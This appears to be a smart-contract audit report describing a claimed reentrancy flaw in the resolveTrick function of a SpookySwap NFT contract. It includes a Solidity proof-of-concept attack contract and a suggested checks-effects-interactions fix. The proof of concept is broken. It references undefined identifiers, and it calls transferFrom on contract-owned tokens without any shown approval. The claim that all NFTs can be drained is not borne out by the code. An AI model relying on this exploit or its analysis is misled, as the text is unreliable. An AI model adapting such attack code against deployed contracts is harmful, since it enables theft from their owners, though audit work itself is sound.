Summary
The function resolveTrick has nonReentrantmodifier but reetrancy attack is still possible because this function dose not follow Checks-effects-interactions (CEI) pattern. The SpookySwapcontract is aERC721 standard. Under the hood are functions transferFromand safeTransferFromwhich can be use for this type of attack.
Vulnerability Details
The main problem for this function is that it dose not follow the CEI pattern, deletepart is after _transferfunction.
_transfer(address(this), msg.sender, tokenId);
delete pendingNFTs\[tokenId];
delete pendingNFTsAmountPaid\[tokenId];
delete tokenIdToTreatName\[tokenId];
For hacking contract can be use bellow POC:
The first a potential attacker send more amount than it is necesarry. At the end of this function is ifstatement where totalPaidis checked.
if (totalPaid > requiredCost)
{````uint256 refund = totalPaid - requiredCost;````(bool refundSuccess,) = msg.sender.call{value: refund}("");````require(refundSuccess, "Refund failed");````}
If value is greater than requiredCostthen refund msg.sender.call{value: refund}("");.
Below POC can be use for hack.
pragma solidity ^0.8.24;
import "./SpookySwap.sol";
contract ReentrancyAttack {
SpookySwap public spookySwap;
uint256 public targetTokenId;
constructor(SpookySwap _spookySwap, uint256 _tokenId) {
spookySwap = _spookySwap;
targetTokenId = _tokenId;
}
function attack() public payable {
spookySwap.resolveTrick{value: msg.value}(targetTokenId);
}
receive() external payable {
if (address(spookySwap).balance > 0) {
spookySwap.transferFrom(address(spookySwap), attacker, TOKEN_ID_FOR_STOLEN);
}
}
}
Impact
It is possible to drain all NFT tokens owned by the smart contract.
Tools Used
manual review
Recommendations
function resolveTrick(uint256 tokenId) public payable nonReentrant {
require(pendingNFTs[tokenId] == msg.sender, "Not authorized to complete purchase");
string memory treatName = tokenIdToTreatName[tokenId];
Treat memory treat = treatList[treatName];
uint256 requiredCost = treat.cost * 2;
uint256 amountPaid = pendingNFTsAmountPaid[tokenId];
uint256 totalPaid = amountPaid + msg.value;
require(totalPaid >= requiredCost, "Insufficient ETH sent to complete purchase");
_transfer(address(this), msg.sender, tokenId);
delete pendingNFTs[tokenId];
delete pendingNFTsAmountPaid[tokenId];
delete tokenIdToTreatName[tokenId];
if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}
}
To resolve this problem please fallow the CEI pattern.
function resolveTrick(uint256 tokenId) public payable nonReentrant {
require(pendingNFTs[tokenId] == msg.sender, "Not authorized to complete purchase");
string memory treatName = tokenIdToTreatName[tokenId];
Treat memory treat = treatList[treatName];
uint256 requiredCost = treat.cost * 2;
uint256 amountPaid = pendingNFTsAmountPaid[tokenId];
uint256 totalPaid = amountPaid + msg.value;
require(totalPaid >= requiredCost, "Insufficient ETH sent to complete purchase");
delete pendingNFTs[tokenId];
delete pendingNFTsAmountPaid[tokenId];
delete tokenIdToTreatName[tokenId];
_transfer(address(this), msg.sender, tokenId);
if (totalPaid > requiredCost) {
uint256 refund = totalPaid - requiredCost;
(bool refundSuccess,) = msg.sender.call{value: refund}("");
require(refundSuccess, "Refund failed");
}
}
